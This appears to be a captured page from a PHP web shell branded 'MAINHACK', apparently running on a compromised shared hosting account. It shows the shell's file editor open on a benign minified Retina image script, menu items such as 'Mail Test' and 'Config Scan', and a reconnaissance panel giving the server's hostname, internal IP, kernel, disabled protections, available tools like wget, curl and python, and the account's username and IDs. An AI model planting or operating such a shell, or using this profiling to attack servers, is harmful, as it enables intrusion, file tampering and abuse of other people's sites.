[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: retina.min.js
!function(){var t="undefined"==typeof exports?window:exports,e={retinaImageSuffix:"@2x",check_mime_type:!0,force_original_dimensions:!0};function i(){}t.Retina=i,i.configure=function(t){for(var i in null===t&&(t={}),t)t.hasOwnProperty(i)&&(e[i]=t[i])},i.init=function(e){null===e&&(e=t),e.addEventListener("load",function(){var t,e,i=document.getElementsByTagName("img"),a=i.length,n=[];for(t=0;t<a;t+=1)(e=i[t]).getAttributeNode("data-no-retina")||e.src&&".gif"!==e.src.slice(e.src.lastIndexOf("."))&&n.push(new h(e))})},i.isRetina=function(){return t.devicePixelRatio>1||!(!t.matchMedia||!t.matchMedia("(-webkit-min-device-pixel-ratio: 1.5), (min--moz-device-pixel-ratio: 1.5), (-o-min-device-pixel-ratio: 3/2), (min-resolution: 1.5dppx)").matches)};var a=/\.[\w\?=]+$/;function n(t){return e.retinaImageSuffix+t}function r(t,e){if(this.path=t||"",null!=e)this.at_2x_path=e,this.perform_check=!1;else{if(void 0!==document.createElement){var i=document.createElement("a");i.href=this.path,i.pathname=i.pathname.replace(a,n),this.at_2x_path=i.href}else{var r=this.path.split("?");r[0]=r[0].replace(a,n),this.at_2x_path=r.join("?")}this.perform_check=!0}}function h(t){this.el=t,this.path=new r(this.el.getAttribute("src"),this.el.getAttribute("data-at2x"));var e=this;this.path.check_2x_variant(function(t){t&&e.swap()})}t.RetinaImagePath=r,r.confirmed_paths=[],r.prototype.is_external=function(){return!(!this.path.match(/^https?\:/i)||this.path.match("//"+document.domain))},r.prototype.check_2x_variant=function(t){var i,a=this;return this.perform_check||void 0===this.at_2x_path||null===this.at_2x_path?this.at_2x_path in r.confirmed_paths?t(!0):this.is_external()?t(!1):((i=new XMLHttpRequest).open("HEAD",this.at_2x_path),i.onreadystatechange=function(){if(4!==i.readyState)return t(!1);if(i.status>=200&&i.status<=399){if(e.check_mime_type){var n=i.getResponseHeader("Content-Type");if(null===n||!n.match(/^image/i))return t(!1)}return r.confirmed_paths.push(a.at_2x_path),t(!0)}return t(!1)},void i.send()):t(!0)},t.RetinaImage=h,h.prototype.swap=function(t){void 0===t&&(t=this.path.at_2x_path);var i=this;!function a(){i.el.complete?(e.force_original_dimensions&&(0==i.el.offsetWidth&&0==i.el.offsetHeight?(i.el.setAttribute("width",i.el.naturalWidth),i.el.setAttribute("height",i.el.naturalHeight)):(i.el.setAttribute("width",i.el.offsetWidth),i.el.setAttribute("height",i.el.offsetHeight))),i.el.setAttribute("src",t)):setTimeout(a,5)}()},i.isRetina()&&i.init(t)}();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129